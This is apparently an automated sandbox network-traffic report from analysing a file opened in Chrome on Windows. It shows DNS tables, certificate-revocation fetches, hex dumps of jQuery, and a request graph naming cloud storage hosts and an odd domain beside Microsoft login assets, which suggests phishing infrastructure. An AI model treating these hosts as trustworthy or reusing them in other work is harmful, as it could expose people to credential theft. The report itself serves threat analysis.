Mar 27, 2025 18:53:26.098598957 CET	1.1.1.1	192.168.2.4	0x4ff5	No error (0)	beacons-handoff.gcp.gvt2.com	gce-beacons.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:26.098598957 CET	1.1.1.1	192.168.2.4	0x4ff5	No error (0)	gce-beacons.gcp.gvt2.com		35.186.199.248	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:26.098665953 CET	1.1.1.1	192.168.2.4	0xf55	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:27.017451048 CET	1.1.1.1	192.168.2.4	0xbc37	No error (0)	beacons.gvt2.com		142.250.176.195	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:28.128597021 CET	1.1.1.1	192.168.2.4	0xe0	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:28.128597021 CET	1.1.1.1	192.168.2.4	0xe0	No error (0)	beacons-handoff.gcp.gvt2.com	gce-beacons.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:28.128597021 CET	1.1.1.1	192.168.2.4	0xe0	No error (0)	gce-beacons.gcp.gvt2.com		35.186.199.248	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:29.041966915 CET	1.1.1.1	192.168.2.4	0x9cfb	No error (0)	beacons.gvt2.com		142.250.176.195	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:29.133234978 CET	1.1.1.1	192.168.2.4	0xe0	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:29.133234978 CET	1.1.1.1	192.168.2.4	0xe0	No error (0)	beacons-handoff.gcp.gvt2.com	gce-beacons.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:29.133234978 CET	1.1.1.1	192.168.2.4	0xe0	No error (0)	gce-beacons.gcp.gvt2.com		35.186.199.248	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:30.043541908 CET	1.1.1.1	192.168.2.4	0x9cfb	No error (0)	beacons.gvt2.com		142.250.176.195	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:30.139435053 CET	1.1.1.1	192.168.2.4	0xe0	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:30.139435053 CET	1.1.1.1	192.168.2.4	0xe0	No error (0)	beacons-handoff.gcp.gvt2.com	gce-beacons.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:30.139435053 CET	1.1.1.1	192.168.2.4	0xe0	No error (0)	gce-beacons.gcp.gvt2.com		35.186.199.248	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:31.045620918 CET	1.1.1.1	192.168.2.4	0x9cfb	No error (0)	beacons.gvt2.com		142.250.176.195	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:32.148236036 CET	1.1.1.1	192.168.2.4	0xe0	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:32.148236036 CET	1.1.1.1	192.168.2.4	0xe0	No error (0)	beacons-handoff.gcp.gvt2.com	gce-beacons.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:32.148236036 CET	1.1.1.1	192.168.2.4	0xe0	No error (0)	gce-beacons.gcp.gvt2.com		35.186.199.248	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:33.055866957 CET	1.1.1.1	192.168.2.4	0x9cfb	No error (0)	beacons.gvt2.com		142.250.176.195	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:36.157747984 CET	1.1.1.1	192.168.2.4	0xe0	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:36.157747984 CET	1.1.1.1	192.168.2.4	0xe0	No error (0)	beacons-handoff.gcp.gvt2.com	gce-beacons.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:36.157747984 CET	1.1.1.1	192.168.2.4	0xe0	No error (0)	gce-beacons.gcp.gvt2.com		35.186.199.248	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:37.063028097 CET	1.1.1.1	192.168.2.4	0x9cfb	No error (0)	beacons.gvt2.com		142.250.176.195	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:41.067054033 CET	1.1.1.1	192.168.2.4	0xef6b	No error (0)	beacons.gvt2.com		142.250.176.195	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:41.989244938 CET	1.1.1.1	192.168.2.4	0x5334	No error (0)	beacons2.gvt2.com		142.250.107.94	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:42.080004930 CET	1.1.1.1	192.168.2.4	0x7443	No error (0)	beacons.gvt2.com		142.250.176.195	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:43.014588118 CET	1.1.1.1	192.168.2.4	0x9fb3	No error (0)	beacons2.gvt2.com		142.250.107.94	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:44.112169027 CET	1.1.1.1	192.168.2.4	0xc53c	No error (0)	beacons.gvt2.com		142.250.176.195	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:45.046538115 CET	1.1.1.1	192.168.2.4	0xc48b	No error (0)	beacons2.gvt2.com		142.250.107.94	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:45.120445013 CET	1.1.1.1	192.168.2.4	0xc53c	No error (0)	beacons.gvt2.com		142.250.176.195	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:46.061187029 CET	1.1.1.1	192.168.2.4	0xc48b	No error (0)	beacons2.gvt2.com		142.250.107.94	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:46.122764111 CET	1.1.1.1	192.168.2.4	0xc53c	No error (0)	beacons.gvt2.com		142.250.176.195	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:47.077435970 CET	1.1.1.1	192.168.2.4	0xc48b	No error (0)	beacons2.gvt2.com		142.250.107.94	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:48.131381989 CET	1.1.1.1	192.168.2.4	0xc53c	No error (0)	beacons.gvt2.com		142.250.176.195	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:49.083549023 CET	1.1.1.1	192.168.2.4	0xc48b	No error (0)	beacons2.gvt2.com		142.250.107.94	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:52.137399912 CET	1.1.1.1	192.168.2.4	0xc53c	No error (0)	beacons.gvt2.com		142.250.176.195	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:53.091968060 CET	1.1.1.1	192.168.2.4	0xc48b	No error (0)	beacons2.gvt2.com		142.250.107.94	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:57.094017982 CET	1.1.1.1	192.168.2.4	0xa996	No error (0)	beacons2.gvt2.com		142.250.107.94	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:57.987226963 CET	1.1.1.1	192.168.2.4	0x2e3b	No error (0)	beacons3.gvt2.com		142.251.32.99	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:58.117808104 CET	1.1.1.1	192.168.2.4	0xe12a	No error (0)	beacons2.gvt2.com		142.250.107.94	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:58.999660015 CET	1.1.1.1	192.168.2.4	0xe24a	No error (0)	beacons3.gvt2.com		142.251.32.99	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:54:00.140328884 CET	1.1.1.1	192.168.2.4	0x3495	No error (0)	beacons2.gvt2.com		142.250.107.94	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:54:01.034588099 CET	1.1.1.1	192.168.2.4	0x6962	No error (0)	beacons3.gvt2.com		142.251.32.99	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:54:01.141349077 CET	1.1.1.1	192.168.2.4	0x3495	No error (0)	beacons2.gvt2.com		142.250.107.94	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:54:02.046304941 CET	1.1.1.1	192.168.2.4	0x6962	No error (0)	beacons3.gvt2.com		142.251.32.99	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:54:02.164359093 CET	1.1.1.1	192.168.2.4	0x3495	No error (0)	beacons2.gvt2.com		142.250.107.94	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:54:03.050429106 CET	1.1.1.1	192.168.2.4	0x6962	No error (0)	beacons3.gvt2.com		142.251.32.99	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:54:04.168374062 CET	1.1.1.1	192.168.2.4	0x3495	No error (0)	beacons2.gvt2.com		142.250.107.94	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:54:05.055922985 CET	1.1.1.1	192.168.2.4	0x6962	No error (0)	beacons3.gvt2.com		142.251.32.99	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:54:08.171298027 CET	1.1.1.1	192.168.2.4	0x3495	No error (0)	beacons2.gvt2.com		142.250.107.94	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

code.jquery.com

maxcdn.bootstrapcdn.com

cdnjs.cloudflare.com

stackpath.bootstrapcdn.com

1419993777-1317754460.cos.ap-singapore.myqcloud.com

res.cloudinary.com

ableg.venue.it.com

aadcdn.msftauth.net

c.pki.goog

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.4	49743	142.251.40.99	80

Timestamp	Bytes transferred	Direction	Data
Mar 27, 2025 18:50:56.124578953 CET	202	OUT	GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 27, 2025 18:50:56.214792967 CET	223	IN	HTTP/1.1 304 Not Modified Date: Thu, 27 Mar 2025 17:29:48 GMT Expires: Thu, 27 Mar 2025 18:19:48 GMT Age: 1268 Last-Modified: Tue, 07 Jan 2025 07:28:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding
Mar 27, 2025 18:50:56.222639084 CET	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 27, 2025 18:50:56.314621925 CET	223	IN	HTTP/1.1 304 Not Modified Date: Thu, 27 Mar 2025 17:20:24 GMT Expires: Thu, 27 Mar 2025 18:10:24 GMT Age: 1832 Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49727	151.101.194.137	443	3172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:50:52 UTC	609	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive Origin: null sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:50:53 UTC	563	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-Ranges: bytes Date: Thu, 27 Mar 2025 17:50:53 GMT Via: 1.1 varnish Age: 1420178 X-Served-By: cache-lga21943-LGA X-Cache: HIT X-Cache-Hits: 14 X-Timer: S1743097853.100033,VS0,VE0 Vary: Accept-Encoding
2025-03-27 17:50:53 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2025-03-27 17:50:53 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2025-03-27 17:50:53 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2025-03-27 17:50:53 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2025-03-27 17:50:53 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2025-03-27 17:50:53 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2025-03-27 17:50:53 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2025-03-27 17:50:53 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2025-03-27 17:50:53 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2025-03-27 17:50:53 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49729	104.18.11.207	443	3172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:50:52 UTC	628	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive Origin: null sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
